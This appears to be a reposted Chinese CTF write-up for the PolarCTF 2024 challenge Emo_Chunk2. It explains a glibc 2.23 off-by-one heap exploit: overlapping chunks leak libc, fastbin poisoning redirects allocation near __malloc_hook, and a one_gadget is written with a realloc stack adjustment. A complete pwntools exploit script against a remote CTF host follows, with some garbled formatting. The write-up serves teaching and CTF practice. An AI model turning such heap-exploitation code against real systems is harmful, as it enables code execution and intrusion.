题目
PolarCTF 2024春季个人挑战赛 Emo_Chunk2
思路
书接上文
堆溢出打fastbin one_gadget并用realloc_hook调栈
当把上一题的堆溢出限制为1个字节时,即2.23 Off-By-One打法
泄露libc的思路与前一题相同,均是利用堆块重叠读取unsortedbin上的main_arena+88的地址。
有变动的地方是,后面再打fastbin的时候不是利用堆溢出完整覆盖下一个堆块了,而是通过分配再重新释放unsortedbin堆块使其进入fastbin,再利用前面已挂在全局数组中的指针修改fastbin的FD指针为one_gadget,注意本题同样需要realloc调栈。
调试
泄露完unsortedbin上main_arena+88地址之后的堆结构和全局数组如图
此时我们把unsortedbin malloc回来,就会出现heaparray[2]和heaparray[4]指向同一个块的形式
把heaparray[4] free掉进入fastbin,即可使用heaparray[2]操作fastbin
将其fd指针改为malloc_hook_addr-0x23,两次分配过去即可修改malloc为one_gadget了(本题需要走realloc调栈这种方法)
代码
from pwn import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2114)
#p=process('./Emo_Chunk2')
#p=gdb.debug('./pwn','b main')
elf = ELF('./Emo_Chunk2')
libc=ELF('./libc-2.23.so')
defdebug():
gdb.attach(p)
pause()
defcreate(size):
p.sendlineafter(b"Please Choice!n", b"1")
p.sendlineafter(b"Please Input Size:n", str(size))
#p.sendafter(b"Content :n", content)
defshow(idx):
p.sendlineafter(b"Please Choice!n", b"4")
p.sendlineafter(b'Please Input index:n',str(idx))
deffree(idx):
p.sendlineafter(b"Please Choice!n", b"2")
p.sendlineafter(b'Please Input index:n',str(idx))
defedit(idx, content):
p.sendlineafter(b"Please Choice!n", b"3")
p.sendlineafter(b"Please Input index:n", str(idx))
p.sendafter(b"Tell Your EMo Thing With Me!n", content)
create(0x68)#0
create(0x68)#1
create(0x68)#2
create(0x68)#3
edit(0, b'x00'*0x68+b'xe1')
free(1) #unsortedbin
create(0x68)
show(2)
main_arena_add88_addr = u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
main_arena_addr = main_arena_add88_addr - 88
malloc_hook_addr = main_arena_addr - 0x10
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
realloc = libc_base + libc.sym['realloc']
one_gadget = libc_base + 0x4527a
#one_gadget = libc_base + 0xf03a4
#one_gadget = libc_base + 0xf1247
create(0x68) #chunk4 -> 2
free(4) #fastbin 指向同一块 [4]free [2]malloc
edit(2, p64(malloc_hook_addr - 0x23)) #fastbin -> fd
create(0x68)#4
create(0x68)#5
edit(5, b'a'*(0x23-0x10-0x8) + p64(one_gadget) + p64(realloc + 8)) #padding+realloc_hook+malloc_hook
#edit(5, b'a'*(0x23-0x10) + p64(one_gadget)) #padding+malloc_hook
create(0x10)
p.interactive()
原文始发于微信公众号(智佳网络安全):【PWN】堆溢出2.23 Off-By-One
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论